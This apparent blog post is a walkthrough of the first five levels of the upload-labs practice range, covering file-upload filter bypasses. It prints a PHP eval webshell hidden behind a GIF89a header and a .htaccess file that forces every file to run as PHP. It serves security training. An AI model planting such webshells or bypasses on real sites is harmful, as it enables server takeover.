当前位置: 首页 > news >正文

upload靶场1-5关

网上的解析有一些题目对应不上,比如第五关说是 空格 点 空格绕过 ,我这里就无法成功解析,但大小写绕过就成功了,慢慢会把后面的关卡也写出来

这里建议开一台win7的虚拟机,在上面搭建靶场,可以省很多麻烦

Pass-01 绕过前端

如何判断是前端验证还是后端验证,上传一个文件,随便哪一个,如果可以抓到数据包,就证明是后端,反之则前端,因为数据与后端交互

这里上传图片马(正常一句话木马修改后缀为jpg或者png),抓包并且修改filename为php结尾

Pass-02 类型验证

怎么判断类型验证,把Content-Type整个删掉,无法上传就是类型验证

这里上传一个php文件,抓包修改Content-Type为 image/png 

Pass-03 后缀绕过

首先去修改一下配置文件  其他选项菜单-打开配置文件-httpd-conf

CTRL+F搜索关键字AddType,AddType application/x-httpd-php .php .php3 .phtml 删除前面的#

黑名单不允许上传PHP文件,但不是很全,修改Apache的配置文件使可以把特殊某些后缀当作PHP文件解析

上传PHP文件,修改filename为.phtml

Pass-04 .htaccess文件

是Apache的配置文件,其作用是控制当前目录,影响较小

#新建一个.htaccess文件,内容填写,意思是把所有文件当作php去处理
Sethandler application/x-httpd-php
#新建一个.png的文件,内容填写一句话木马
GIF89a
<?php @eval($_POST['a']);?>

依次上传,不用抓包就成功执行了

Pass-05 大小写绕过

转换了大小写,过滤了很多后缀,但漏掉了PHp这个后缀

懒得拿蚁剑连了,就写的phpinfo上传

<?php @phpinfo(); ?>

封面的图片用了作者博客的一张图片

http://www.xdnf.cn/news/528931.html

相关文章:

  • 【MYSQL】基本查询,表的增删查改
  • 云原生攻防1(基础介绍)
  • Unity预制体变体(Prefab Variants)、接口(Interface)、抽象类(Abstract Class)、枚举(Enumeration)
  • 如何快速更换电脑浏览器ip:教程与注意事项
  • Seata源码—6.Seata AT模式的数据源代理二
  • leetcode 74. Search a 2D Matrix
  • SQL注入——Sqlmap工具使用
  • 实景VR展厅制作流程与众趣科技实景VR展厅应用
  • Assistants API
  • upload-labs靶场通关详解:第10关
  • 项目QT+ffmpeg+rtsp(三)——延迟巨低的项目+双屏显示
  • FPGA 串口_波特率计算
  • 使用Python和FastAPI构建网站爬虫:Oncolo医疗文章抓取实战
  • [学习]POSIX消息队列的原理与案例分析(完整示例代码)
  • 循环神经网络:揭秘RNN的核心与应用
  • 设计模式的原理及深入解析
  • 人工智能100问☞第27问:神经网络与贝叶斯网络的关系?
  • Spring Boot 的高级特性与经典的设计模式应用
  • Flink 非确定有限自动机NFA
  • reserve学习笔记(花指令)
  • 用Python构建学生成绩管理系统的基本方案
  • 系统架构设计师考前冲刺笔记-第3章-软件架构设计
  • 《JVM如何判断一个对象可以被回收?图文详解GC Root算法》
  • Windows 下 Qt 项目配置 FFmpeg 简明指南
  • 使用docker——10分钟内 完成一个高可用的 MongoDB 副本集部署
  • 代理IP高可用性与稳定性方案:负载均衡、节点健康监测与智能切换策略
  • python链接数据库
  • 线程调度与单例模式:wait、notify与懒汉模式解析
  • Excel
  • Vue 中 v-model 的三种使用方式对比与实践